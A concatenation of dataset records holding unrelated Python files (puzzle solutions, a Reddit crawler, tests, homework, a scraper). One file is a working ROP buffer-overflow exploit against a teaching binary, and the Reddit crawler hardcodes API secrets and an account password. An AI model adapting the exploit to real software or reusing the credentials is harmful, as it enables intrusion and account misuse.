int(starting_num)\n\nwhile turn <= 30000000:\n # Check if first time number is spoken\n if len(spoken_nums[prev_num]) == 1:\n spoken_nums[0].append(turn)\n prev_num = 0\n\n # Announce how many turns apart the number is from when it was previously spoken\n else:\n diff = spoken_nums[prev_num][-1] - spoken_nums[prev_num][-2]\n\n if diff not in spoken_nums:\n spoken_nums[diff] = list()\n\n spoken_nums[diff].append(turn)\n prev_num = diff\n\n turn += 1\n\nprint(prev_num)","sub_path":"2020/Day15/15B.py","file_name":"15B.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"555346248","text":"import praw\nimport datetime as dt\nfrom psaw import PushshiftAPI\nimport csv\n\n\nreddit = praw.Reddit(client_id='cicJG0jkrjc63g',\n client_secret='85Rd8G3iQL7TVkQ2elKwlH512KVqBQ',\n user_agent='stocks',\n username='ilanbeast',\n password='roeinoob')\n\n\napi = PushshiftAPI(reddit)\nsubreddit = 'Stocks'\nsubreddit = reddit.subreddit(subreddit)\n# start_date = int(dt.datetime(2019, 3, 17).timestamp())\n# end_date = int(dt.datetime(2020, 9, 17).timestamp())\n# filename = 'train.csv'\nstart_date = int(dt.datetime(2020, 9, 18).timestamp())\nend_date = int(dt.datetime(2021, 3, 17).timestamp())\nfilename = '_.csv'\ntopics_dict = {\"title\": [],\n \"score\": [],\n \"id\": [],\n \"num_comments\": [],\n \"timestamp\": [],\n \"body\": []}\n\nwith open(filename, 'w', encoding='utf8') as f:\n writer = csv.writer(f)\n writer.writerow(['title', 'score', 'id', 'num_comments', 'timestamp', 'body'])\n for submission in api.search_submissions(after=start_date,\n before=end_date,\n subreddit=subreddit):\n try:\n flair = submission.link_flair_text\n except KeyError:\n flair = \"NaN\"\n\n writer.writerow([\n submission.title,\n submission.score,\n submission.id,\n submission.num_comments,\n dt.datetime.fromtimestamp(submission.created),\n submission.selftext\n ])\n","sub_path":"reddit_crawler.py","file_name":"reddit_crawler.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"379442203","text":"import os\n\nimport pytest\n\nfrom django.conf import settings\n\nfrom factories.factory_projects import ProjectFactory\nfrom factories.factory_repos import RepoFactory\nfrom libs.paths.utils import copy_to_tmp_dir, get_tmp_path\nfrom tests.utils import BaseTest\n\n\n@pytest.mark.paths_mark\nclass TestCopyPaths(BaseTest):\n def test_copy_repo_path_to_tmp_dir(self):\n project = ProjectFactory()\n repo_path = '{}/{}/{}/{}'.format(settings.REPOS_MOUNT_PATH,\n project.user.username,\n project.name,\n project.name)\n self.assertFalse(os.path.exists(repo_path))\n\n repo = RepoFactory(project=project)\n assert repo.path == repo_path\n self.assertTrue(os.path.exists(repo_path))\n git_file_path = '{}/.git'.format(repo_path)\n self.assertTrue(os.path.exists(git_file_path))\n\n copy_to_tmp_dir(repo_path, 'new')\n git_file_path = '{}/.git'.format(get_tmp_path('new'))\n self.assertTrue(os.path.exists(git_file_path))\n","sub_path":"tests/test_paths/test_copy_paths.py","file_name":"test_copy_paths.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"557989061","text":"#Program 1\nq = input(\"pick a number.\")\nq = int(q)\nm = 2\nflag=0\nwhile(m < q):\n if(q % m ==0):\n flag = 1\n m = m+1\n\nif (flag==0):\n print(\"This number is a prime.\")\nelse:\n print (\"This number is not a prime\")\n\n \n#Program 2\na = int(input(\"Enter the base of your traingle in cm.\"))\nb = int(input(\"enter the height of your triangle in cm.\"))\narea = (a*b)/2\nprint(area)\n#Program 3\n#Armstrong Numbers between a range\nlower = 100\nupper = 500\nfor num in range(lower, upper + 1):\n order = len(str(num))\n sum = 0\n temp = num\n while temp > 0:\n digit = temp % 10\n sum += digit ** order\n temp //= 10\n if num == sum:\n print(num)\n\n#Armstrong Number with Classes\n\nclass Armstrong:\n def __init__(self,lower,upper):\n self.lower = lower\n self.upper = upper\n def strongnumbers(self):\n for num in range(self.lower, self.upper + 1):\n order = len(str(num))\n sum = 0\n temp = num\n while temp > 0:\n digit = temp % 10\n sum += digit ** order\n temp //= 10\n if num == sum:\n print(num)\na=Armstrong(100,500)\na.strongnumbers()\n\n\n\n\n\n \n","sub_path":"Homework real 2019/Homework 112619.py","file_name":"Homework 112619.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"157455311","text":"#!/usr/bin/env python3\n\nfrom pwn import *\n\n# Print byte array as hex string \"\\x..\\x..\\x..\"\ndef print_byte_array(prefix, array):\n log.info(\"{}: {}\".format(prefix, \"\".join(\"\\\\x{:02x}\".format(array[i]) for i in range(0, len(array)))))\n\n\n# Change to 'debug' for extensive information on classes used.\ncontext.log_level = 'info'\n\nfilename = \"../src/vuln64\"\ne = ELF(filename)\ncontext.binary = filename\n#context.arch = \"amd64\"\ndiablo_address = e.symbols[b\"diablo\"]\noverwatch_address = e.symbols[b\"overwatch\"]\nwarcraft_address = e.symbols[b\"warcraft\"]\nstarcraft_address = e.symbols[b\"starcraft\"]\npop_rdi_ret_gadget_address = 0x0000000000400713\npop_rsi_r15_gadget_address = 0x0000000000400711\n\nprint(\"diablo: 0x{:016x}\".format(diablo_address))\nprint(\"warcraft: 0x{:016x}\".format(warcraft_address))\nprint(\"overwatch: 0x{:016x}\".format(overwatch_address))\nprint(\"starcraft: 0x{:016x}\".format(starcraft_address))\n\n# buffer is at rbp-0x40\n# return address is at rbp+0x8\noffset = 0x48\n#payload = offset * b\"A\" + pack(warcraft_address)\n#payload = offset * b\"A\" + pack(pop_rdi_ret_gadget_address) + pack(0xdeadbeef) + pack(overwatch_address)\npayload = offset * b\"A\" + pack(pop_rdi_ret_gadget_address) + pack(0x12345678) + pack(pop_rsi_r15_gadget_address) + pack(0xaabbccdd) + pack(0) + pack(diablo_address)\n\n# It won't work. Payload is too large.\n#payload = offset * b\"A\" + pack(pop_rdi_ret_gadget_address) + pack(0xdeadbeef) + pack(overwatch_address) + pack(pop_rdi_ret_gadget_address) + pack(0x12345678) + pack(pop_rsi_r15_gadget_address) + pack(0xaabbccdd) + pack(0) + pack(diablo_address)\n\n\"\"\"\n\n----\nbufffer\n....\n....\n-----\nsaved rbp\n-----\npop_rdi_ret -----> pop rdi (mov rdi, [rsp] + add rsp, 8) ret\n-----\n0x000000000deadbeef (pop rdi)\n-----\noverwatch_address (ret)\n-----\n\"\"\"\n\nprint_byte_array(\"payload\", payload)\n\np = process(filename)\np.readline()\np.sendline(payload)\np.interactive()\n","sub_path":"return-oriented-programming/activities/00-demo/sol/exploit64.py","file_name":"exploit64.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335118536","text":"\"\"\"\"\nThis is a simulation problem. Because the problem guarantees that it is always possible to win,\nwe know that our input will never contain consecutive thunderclouds.\nTo reach the last cloud in a minimum number of steps, always try make a jump from i to i+2 .\nIf that is not possible, jump to i+1.\n\n\n\njumpingOnClouds has the following parameter(s):\n c: an array of binary integers\n - Function Description: Complete the jumpingOnClouds function in the editor below.\n It should return the minimum number of jumps required, as an integer.\n\"\"\"\n\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the jumpingOnClouds function below.\ndef jumpingOnClouds(c):\n # Assuming there is always a posibility to jump\n n = len(c)\n i = 0\n jumps = 0\n\n while i < n - 1:\n if i + 2 >= n or c[i + 2] == 1:\n i += 1\n jumps += 1\n else:\n i += 2\n jumps += 1\n return jumps\n\ndef jumpingOnClouds(c, n):\n jumps = [1] * n\n jumps[0] = 0\n if c[1] == 0: jumps[1] = 1\n for i in range(2, n):\n if c[i] == 0: jumps[i] = min(jumps[i - 1], jumps[i - 2]) + 1\n print(jumps[n - 1])\n\nif __name__ == '__main__':\n # The first line contains an integer n, the total number of clouds\n n = int(input())\n # The second line contains space-separated binary integers describing clouds c[i] where 0<=i<=n\n c = list(map(int, input().rstrip().split()))\n\n result = jumpingOnClouds(c,n)\n\n print(result)\n","sub_path":"5-JumpingOnClouds.py","file_name":"5-JumpingOnClouds.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"246928973","text":"import uuid\n\n# Opens a file and adds random string to the start of each line. Aadds as\n# to make it as valid python variable. Created for testing the number of\n# fields Django can support, and worked well with 500+ fields, left cux\n# my hands are paining of typing random to fill the forms.as well Django Rockz\n\n\n# opens the file random.txt and write to the file test.txt\n\n\na = open('test.txt', 'w')\n\n\ndef my_random_string(string_length=10):\n\t\"\"\"Returns a random string of length string_length.\"\"\"\n\trandom = str(uuid.uuid4())\n\trandom = random.upper()\n\trandom = random.replace(\"-\", \"\")\n\treturn random[0:string_length]\n\n\nwith open('random.txt') as f:\n\tfor line in f:\n\t\ta.write(\"a\" + my_random_string(6) + line)\n\n\n\t\t# close the file;","sub_path":"Projects/randomadder/randomadder.py","file_name":"randomadder.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20046096","text":"import socket;\nimport _thread;\nimport time;\nimport multiprocessing;\nimport queue;\nimport sys\n\nresults = multiprocessing.Queue();\n\ndef config_server():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);\n host = socket.gethostname();\n port = read_port();\n return s,host,port;\n\ndef read_port():\n config_file = open('server_config','r');\n port = int(config_file.read().split(':')[1]);\n config_file.close();\n return port;\n\ndef console(s,host,port):\n while True:\n command = input('> ');\n s.sendto(command.encode(), (host, port))\n\ndef main():\n s,host,port = config_server();\n _thread.start_new_thread(console,(s,host,port));\n while True:\n result, addr = s.recvfrom(4096);\n sys.stdout.write('[SERVER MESSAGE] ' + result.decode() + \"\\n> \")\n\nif __name__ == \"__main__\":\n main();\n","sub_path":"projeto1/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"571114094","text":"import time\nfrom .convert import convert_pyomo2LinearBilevelProblem\nimport pao.common\nimport pao.lbp\n\n\nSolverFactory = pao.common.SolverFactory \n\n\nclass PyomoSubmodelSolverBase(pao.common.Solver):\n \"\"\"\n Define the API for solvers that optimize a Pyomo model using SubModel components\n \"\"\"\n\n def __init__(self, name):\n super().__init__()\n self.name = name\n\n def check_model(self, lbp): # pragma: no cover\n #\n # Confirm that the problem is well-formed\n #\n pass\n\n def solve(self, *args, **kwds): # pragma: no cover\n #\n # Solve the Pyomo model\n #\n pass\n\n\nclass PyomoSubmodelSolverBase_LBP(PyomoSubmodelSolverBase):\n \"\"\"\n Define the API for solvers that optimize a Pyomo model using SubModel components\n \"\"\"\n\n def __init__(self, name, lbp_solver, inequalities):\n super().__init__(name)\n self.lbp_solver = lbp_solver\n self.inequalities = inequalities\n\n def inequalities(self):\n #\n # Return True if the conversion to LinearBilevelProblem should\n # use inequalities (True) or equalities (False)\n #\n return False\n\n def solve(self, instance, options=None, **config_options):\n #\n # Process keyword options\n #\n self._update_config(config_options)\n #\n # Start the clock\n #\n start_time = time.time()\n #\n # Convert the Pyomo model to a LBP\n #\n try:\n lbp, soln_manager = convert_pyomo2LinearBilevelProblem(instance)\n except RuntimeError as err:\n print(\"Cannot convert Pyomo model to a LinearBilevelProblem\")\n raise\n #\n results = PyomoSubmodelResults(solution_manager=soln_manager)\n with SolverFactory(self.lbp_solver) as opt:\n lbp_results = opt.solve(lbp, options=options, \n tee=self.config.tee,\n time_limit=self.config.time_limit,\n load_solutions=True)\n\n #print(lbp_results)\n #print(\"ID\",id(lbp))\n #lbp.print()\n self._initialize_results(results, lbp_results, instance, lbp, options)\n results.solver.rc = getattr(opt, '_rc', None)\n results.copy_from_to(lbp=lbp, pyomo=instance)\n \n results.solver.wallclock_time = time.time() - start_time\n return results\n\n def _initialize_results(self, results, lbp_results, instance, lbp, options):\n #\n # SOLVER\n #\n solv = results.solver\n solv.name = self.lbp_solver\n solv.config = self.config\n solv.solver_options = options\n solv.termination_condition = lbp_results.solver.termination_condition\n solv.solver_time = lbp_results.solver.time\n solv.best_feasible_objective = lbp_results.solver.best_feasible_objective\n #\n # PROBLEM\n #\n prob = results.problem\n prob.name = instance.name\n prob.number_of_constraints = instance.statistics.number_of_constraints\n prob.number_of_variables = instance.statistics.number_of_variables\n prob.number_of_binary_variables = instance.statistics.number_of_binary_variables\n prob.number_of_integer_variables = instance.statistics.number_of_integer_variables\n prob.number_of_continuous_variables = instance.statistics.number_of_continuous_variables\n prob.number_of_objectives = instance.statistics.number_of_objectives\n prob.lower_bound = lbp_results.problem.lower_bound\n prob.upper_bound = lbp_results.problem.upper_bound\n prob.sense = lbp_results.problem.sense\n\n return results\n\n\nclass PyomoSubmodelResults(pao.common.Results):\n\n def __init__(self, solution_manager=None):\n super(pao.common.Results, self).__init__()\n self._solution_manager=solution_manager\n\n def copy_from_to(self, **kwds):\n self._solution_manager.copy_from_to(**kwds)\n\n def load_from(self, data): # pragma: no cover\n assert (False), \"load_from() is not implemented\"\n self._solution_manager.load_from(data)\n\n","sub_path":"pao/bilevel/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"548276404","text":"from nistbeacon import NistBeacon\nimport time\n\nprint()\nprint('Coin flip 0 or 1 tails or heads')\nprint()\nprint('Run five times')\n\nfor count in range(5):\n time.sleep(66) # wait for new beacon every 66 seconds\n h = NistBeacon.get_last_record()\n v = h.output_value # 512 hex\n d = int(v, 16) # convert to decimal\n coin = d % 2 # modulus of record (0 or 1)\n\n if coin == 0:\n print('tails')\n else:\n print('heads')\n","sub_path":"Chapter 2 - Advanced Basics/coin-flip.py","file_name":"coin-flip.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"125385718","text":"from tensorflow.keras.layers import BatchNormalization, Activation, LeakyReLU, Add, Dense, PReLU, Flatten, Conv2D, UpSampling2D\nfrom tensorflow.keras.models import Model\nfrom ResLayer import ResLayer\n\nclass Generator(Model):\n def __init__(self,\n residual_blocks=16,\n momentum=0.8,\n **kwargs\n ):\n # call the parent constructor\n super(Generator, self).__init__(**kwargs)\n\n ###############\n # HyperParams #\n ###############\n self.residual_blocks = residual_blocks\n self.momentum = momentum\n\n #############\n # Generator #\n #############\n # feed in layer\n self.conv2a = Conv2D(filters=64,\n kernel_size=9,\n strides=1,\n padding='same',\n activation='relu')\n\n # res blocks #\n self.res1 = ResLayer(kernel_size=3,\n filters=[64, 64],\n strides=1,\n momentum=momentum)\n self.resblocks = []\n for i in range(residual_blocks - 1):\n self.resblocks.append(ResLayer(kernel_size=3,\n filters=[64, 64],\n strides=1,\n momentum=momentum))\n\n # post res blocks #\n self.con2b = Conv2D(filters=64,\n kernel_size=3,\n strides=1,\n padding='same')\n\n self.bn1 = BatchNormalization(momentum=momentum)\n self.upspl1 = UpSampling2D(size=2)\n self.conv2c = Conv2D(filters=256, kernel_size=3, strides=1, padding='same')\n self.activation1 = Activation('relu')\n\n self.upspl2 = UpSampling2D(size=2)\n self.conv2d = Conv2D(filters=256, kernel_size=3, strides=1, padding='same')\n self.activation2 = Activation('relu')\n\n # output uses tanh as output activation #\n self.conv2e = Conv2D(filters=3, kernel_size=9, strides=1, padding='same')\n self.activation3 = Activation('tanh')\n\n def call(self, inputs):\n\n #############\n # Generator #\n #############\n gen1 = self.conv2a(inputs)\n x = self.res1(gen1)\n\n # pass through all resblocks #\n for r in self.resblocks:\n x = r(x)\n\n # post res blocks #\n x = self.con2b(x)\n gen2 = self.bn1(x)\n\n # take the sum of the output from the pre-residual block,\n # and the output from the post-residual block\n x = Add()([gen2, gen1])\n\n # upsample 1\n x = self.upspl1(x)\n x = self.conv2c(x)\n x = self.activation1(x)\n\n # upsample 2\n x = self.upspl2(x)\n x = self.conv2d(x)\n x = self.activation2(x)\n\n # output\n x = self.conv2e(x)\n return self.activation3(x)","sub_path":"Models/SR_GAN/Generator.py","file_name":"Generator.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"136556361","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 15 15:15:54 2019\n\n@author: 20171880\n\"\"\"\n\nfrom builtins import print\nimport numpy as np\nimport cad_util as util\nimport segmentation_util as seg_util\nimport registration as reg\nimport segmentation as seg\nimport matplotlib.pyplot as plt\nimport cad\nfrom IPython.display import display, clear_output, HTML\n\n\n\n \n# dataset preparation\nnum_training_samples = 300\nnum_validation_samples = 100\n\n# here we reuse the function from the segmentation practicals\nm1=[2,3]\nm2=[-0,-4]\ns1=[[8,7],[7,8]]\ns2=[[8,6],[6,8]]\n\n[trainingX, trainingY] = seg.generate_gaussian_data(num_training_samples, m1, m2, s1, s2)\nr,c = trainingX.shape\nprint('Training sample shape: {}'.format(trainingX.shape))\n\n# we need a validation set to monitor for overfitting\n[validationX, validationY] = seg.generate_gaussian_data(num_validation_samples, m1, m2, s1, s2)\nr_val,c_val = validationX.shape\nprint('Validation sample shape: {}'.format(validationX.shape))\n\nvalidationXones = util.addones(validationX)\n\n# train a logistic regression model:\n# the learning rate for the gradient descent method\n# (the same as in intensity-based registration)\nmu = 0.001\n\n# we are actually using stochastic gradient descent\nbatch_size = 30\n\n# initialize the parameters of the model with small random values,\n# we need one parameter for each feature and a bias\nTheta = 0.02*np.random.rand(c+1, 1)\n\n# number of gradient descent iterations\nnum_iterations = 300\n\n# variables to keep the loss and gradient at every iteration\n# (needed for visualization)\niters = np.arange(num_iterations)\nloss = np.full(iters.shape, np.nan)\nvalidation_loss = np.full(iters.shape, np.nan)\n\n# Create base figure\nfig = plt.figure(figsize=(15,8))\nax1 = fig.add_subplot(121)\nim1, Xh_ones, num_range_points = util.plot_lr(trainingX, trainingY, Theta, ax1)\nseg_util.scatter_data(trainingX, trainingY, ax=ax1)\nax1.grid()\nax1.set_xlabel('x_1')\nax1.set_ylabel('x_2')\nax1.legend()\nax1.set_title('Training set')\ntext_str1 = '{:.4f}; {:.4f}; {:.4f}'.format(0, 0, 0)\ntxt1 = ax1.text(0.3, 0.95, text_str1, bbox={'facecolor': 'white', 'alpha': 1, 'pad': 10}, transform=ax1.transAxes)\n\nax2 = fig.add_subplot(122)\nax2.set_xlabel('Iteration')\nax2.set_ylabel('Loss (average per sample)')\nax2.set_title('mu = '+str(mu))\nh1, = ax2.plot(iters, loss, linewidth=2, label='Training loss')\nh2, = ax2.plot(iters, validation_loss, linewidth=2, label='Validation loss')\nax2.set_ylim(0, 0.7)\nax2.set_xlim(0, num_iterations)\nax2.grid()\nax1.legend()\n\ntext_str2 = 'iter.: {}, loss: {:.3f}, val. loss: {:.3f}'.format(0, 0, 0)\ntxt2 = ax2.text(0.3, 0.95, text_str2, bbox={'facecolor': 'white', 'alpha': 1, 'pad': 10}, transform=ax2.transAxes)\n\n# iterate\nfor k in np.arange(num_iterations):\n \n # pick a batch at random\n idx = np.random.randint(r, size=batch_size)\n \n # the loss function for this particular batch\n loss_fun = lambda Theta: cad.lr_nll(util.addones(trainingX[idx,:]), trainingY[idx], Theta)\n \n # gradient descent:\n # here we reuse the code for numerical computation of the gradient\n # of a function\n Theta = Theta - mu*reg.ngradient(loss_fun, Theta)\n \n # compute the loss for the current model parameters for the\n # training and validation sets\n # note that the loss is divided with the number of samples so\n # it is comparable for different number of samples\n loss[k] = loss_fun(Theta)/batch_size\n validation_loss[k] = cad.lr_nll(validationXones, validationY, Theta)/r_val\n \n # upldate the visualization\n ph = cad.sigmoid(Xh_ones.dot(Theta)) > 0.5\n decision_map = ph.reshape(num_range_points, num_range_points)\n decision_map_trns = np.flipud(decision_map)\n im1.set_data(decision_map_trns)\n text_str1 = '{:.4f}; {:.4f}; {:.4f}'.format(Theta[0,0], Theta[1,0], Theta[2,0])\n txt1.set_text(text_str1)\n h1.set_ydata(loss)\n h2.set_ydata(validation_loss)\n text_str2 = 'iter.={}, loss={:.3f}, val. loss={:.3f} '.format(k, loss[k], validation_loss[k])\n txt2.set_text(text_str2)\n \n \n display(fig)\n clear_output(wait = True)\n","sub_path":"code/logistic_regression_test.py","file_name":"logistic_regression_test.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"111057249","text":"\"\"\"Functions to do reddit authentication, file saving and loading, and data structure printing,\nand varialbes used by multiple files.\"\"\"\n\nimport pickle\nimport praw\nimport os\nimport warnings\n\n# use this to set up PRAW for the first time\n# reddit = praw.Reddit(user_agent = 'desktop:ucsc-class-info-bot:v0.0.1 (by /u/ucsc-class-info-bot)',\n# site_name = 'ucsc_bot')\n\n# _get_code()\n# _save_access_information()\n\n# widths of column for printing tables to console. used by trunc_pad()\n_column_widths = {'num': 2,\n \"id\": 7,\n \"author\": 15,\n \"title\": 35,\n \"action\": 17}\n\n\nclass ExistingComment:\n \"\"\"Info about an existing comment with class info.\"\"\"\n\n def __init__(self, comment_id_, mentions_):\n self.comment_id = comment_id_\n self.mentions_list = mentions_\n\n def __str__(self):\n return \"existing comment: {} -> {}\".format(self.comment_id, self.mentions_list)\n\n\ndef trunc_pad(string_, use_ = None):\n \"\"\"Truncates and pads with spaces string_ to be printed in a table.\n The padding width is indicated by use_. If _use isn't specifeid, the string is the use.\n\n :param string_: string to be truncated and padded\n :type string_: str\n :param use_: string identifying which column the string is in.\n :type use_: str\n :return: the input string, truncated and padded\n :rtype: str\n \"\"\"\n if use_ is None:\n use_ = string_\n width = _column_widths[use_]\n if len(string_) > width:\n return string_[:width - 3] + '...'\n else:\n return string_.ljust(width)\n\n\ndef auth_reddit():\n \"\"\"Loads access information and returns PRAW reddit api context.\n\n :return: praw instance\n :rtype praw.Reddit\n \"\"\"\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n red = praw.Reddit(user_agent = 'desktop:ucsc-class-info-bot:v0.0.1 (by /u/ucsc-class-info-bot)',\n site_name = 'ucsc_bot')\n\n with open('pickle/access_information.pickle', 'rb') as file:\n access_information = pickle.load(file)\n file.close()\n red.set_access_credentials(**access_information)\n return red\n\n\ndef _get_code(r_):\n \"\"\"\n Use this for first-time PRAW setup. Use this first.\n Log into /u/ucsc-class-info-bot then navigate to the url printed.\n \"\"\"\n url = r_.get_authorize_url('state', 'identity submit edit read', True)\n print(url)\n\n\ndef _save_access_information(r_):\n \"\"\"\n Use this for first-time PRAW setup. Use this second.\n Paste the code from the redirect into the function below.\n :param r_: praw instance\n :type r_:\n \"\"\"\n with open('pickle/access_information.pickle', 'wb') as file:\n pickle.dump(r_.get_access_information('code'), file)\n file.close()\n\n\ndef print_posts_with_comments(existing_posts_with_comments):\n \"\"\"Prints the dist of posts which already have comments from the bot.\n\n :param existing_posts_with_comments: the dict mapping post IDs to ExistingComment objects.\n :type existing_posts_with_comments: dict of \n \"\"\"\n for post_id, e_c_obj in sorted(existing_posts_with_comments.items()):\n print(\"in post \" + post_id + \": \" + str(e_c_obj))\n\n\ndef print_found_mentions(found_mentions):\n \"\"\"Prints the list of found mentions.\n\n :param found_mentions: list of PostWithMentions objects\n \"\"\"\n for pwm_obj in found_mentions:\n print(pwm_obj)\n\n\ndef load_posts_with_comments():\n \"\"\"Loads from disk the dict of posts that have already been commented on.\n\n :return: dict of of posts that have already been commented on\n :rtype: dict\n \"\"\"\n if not os.path.isfile(\"pickle/posts_with_comments.pickle\"):\n return dict()\n\n with open(\"pickle/posts_with_comments.pickle\", 'rb') as file:\n a_c = pickle.load(file)\n file.close()\n return a_c\n\n\ndef load_found_mentions():\n \"\"\"Loads from disk the list of found mentions from the last run of find_mentions().\n\n :return: list of PostWithMentions objects\n :rtype: list\n \"\"\"\n with open(\"pickle/found_mentions.pickle\", 'rb') as file:\n mentions = pickle.load(file)\n file.close()\n return mentions\n\n\ndef save_found_mentions(found_mentions):\n \"\"\"Saves to disk mentions found from from the last run of find_mentions().\n This is used in both post_comments.py and in mention_search_posts.py so I have put it in tools.py.\n\n :param found_mentions: list of PostWithMentions objects\n :type found_mentions: list\n \"\"\"\n with open(\"pickle/found_mentions.pickle\", 'wb') as file:\n pickle.dump(found_mentions, file)\n file.close()\n","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"356650098","text":"def miniMaxSum(arr):\n sum = 0\n for i in range(len(arr)):\n sum = sum + arr[i]\n\n maxNum = sum - min(arr)\n minNum = sum - max(arr)\n\n print(minNum, maxNum)\n # Write your code here\n\nif __name__ == '__main__':\n arr = [1,1,0,1,2,5,6]\n print(arr)\n print(miniMaxSum(arr))","sub_path":"hr_Min-MaxSum.py","file_name":"hr_Min-MaxSum.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"584749562","text":"'''\n获取信息:IP指纹\n使用网页爬取无需注册\n网址:https://ip.rtbasia.com/\n获取方式:网页爬取\n推荐值:70\n@author: linqingping\n备注:利用selenium配合火狐浏览器(按环境情况替换)进行验证码验证后进行信息数据查询\nCreated on 2018-5-15\n'''\n\n# -*- coding: utf-8 -*-\nimport random\nfrom lxml import etree\n\nimport scrapy\nimport json\nimport hashlib\nimport configparser\nfrom api.items import *\nimport time,datetime\nimport re\nfrom selenium import webdriver\n\n\n\n\nclass DanSpider(scrapy.Spider):\n name = 'rtbasia'\n allowed_domains = ['ip.rtbasia.com']\n custom_settings = {\n 'USER_AGENT':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',\n 'DOWNLOADER_MIDDLEWARES': {'api.middlewares.JavaScriptMiddleware': 100, }\n }\n\n #\n def __init__(self, api=None, *args, **kwargs):\n #读取配置\n super(DanSpider, self).__init__(*args, **kwargs)\n api_list = api.split(':',1)\n #print(api_list)\n #类型\n self.type = api_list[0]\n #内容\n self.object = api_list[1]\n self.parse_map = {\n 'ip': {\n 'api_name': 'IPBasic',\n 'parse_foo': self.parse_ip,\n 'item_foo': IPBasicItem,\n 'url': 'https://ip.rtbasia.com/?ipstr=%s'\n }\n }\n\n def start_requests(self):\n for type in self.parse_map.keys():\n if self.type == type:\n item = self.parse_map[self.type]['item_foo']()\n for field in item.fields:\n item[field] = None\n # 数据类型\n item['api'] = self.parse_map[self.type]['api_name']\n # 来源网址\n item['author'] = 'dan.me'\n # apiurl\n item['apiurl'] = 'dan.me'\n url = self.parse_map[self.type]['url'] % (self.object)\n yield scrapy.Request(\n url=url,\n callback=self.parse_map[self.type]['parse_foo'],\n meta={'item':item,'object' : self.object},\n )\n\n # ip\n def parse_ip(self,response):\n if response.xpath(\".//div[@class='scoreform']/div[3]/h5/span/text()\").extract():\n country=response.xpath(\".//div[@class='scoreform']/div[3]/h5/span/a/text()\").extract()\n isp=response.xpath(\".//div[@class='scoreform']/div[3]/h5/span/text()\").extract()\n if len(isp)>1:\n isp=re.findall(\"运营商:(.*?)\\n\",isp[1])\n item = response.meta['item']\n country=re.split(\"-\",country[0])\n item['country'] =country[0]\n if country[1] and country[0]!=country[1]:\n item['region']=country[1]\n if len(country)>2:\n item['city']=country[2]\n item['isp'] = isp[0]\n item['ip'] = self.object\n item['is_effective'] = 2\n item['tlp'] = 0\n return item\n","sub_path":"API类及验证码中间件/rtbasia.py","file_name":"rtbasia.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268941464","text":"from urllib.request import urlopen\nimport zipfile\nimport shutil\nimport os\nimport sys\n\ndef copy_and_overwrite(from_path, to_path):\n if os.path.exists(to_path):\n shutil.rmtree(to_path)\n shutil.copytree(from_path, to_path)\n\ndef download_to_file(src_url, dest_filepath):\n response = urlopen(src_url)\n data = response.read()\n\n # Write data to file\n file_ = open(dest_filepath, 'wb')\n file_.write(data)\n file_.close()\n\ndef unzip_file(src_filepath, dest_filepath):\n zip_ref = zipfile.ZipFile(src_filepath, 'r')\n zip_ref.extractall(dest_filepath)\n zip_ref.close()\n\nif __name__ == '__main__':\n if not \"WOW_HOME\" in os.environ:\n sys.exit(\"Set WOW_HOME environment variable to the location of your World of Warcraft directory.\")\n \n addon_home = os.environ['WOW_HOME'] + \"/Interface/AddOns\"\n print(\"Updating \" + addon_home)\n\n tmp_path = \"tmp/\"\n\n if not os.path.exists(tmp_path):\n os.mkdir(tmp_path, 755)\n\n # obviously this should be loaded from a file and looped over and/or done concurrently\n download_to_file(\"https://addon.theunderminejournal.com/TheUndermineJournal.zip\", tmp_path + \"/TheUndermineJournal.zip\")\n unzip_file(tmp_path + \"/TheUndermineJournal.zip\", tmp_path)\n copy_and_overwrite(tmp_path + \"/TheUndermineJournal\", addon_home + \"/TheUndermineJournal\")\n print(addon_home + \"/TheUndermineJournal updated!\")\n\n download_to_file(\"https://www.curseforge.com/wow/addons/auctionator/download/2609812/file\", tmp_path + \"/Auctionator.zip\")\n unzip_file(tmp_path + \"/Auctionator.zip\", tmp_path)\n copy_and_overwrite(tmp_path + \"/Auctionator\", addon_home + \"/Auctionator\")\n print(addon_home + \"/Auctionator 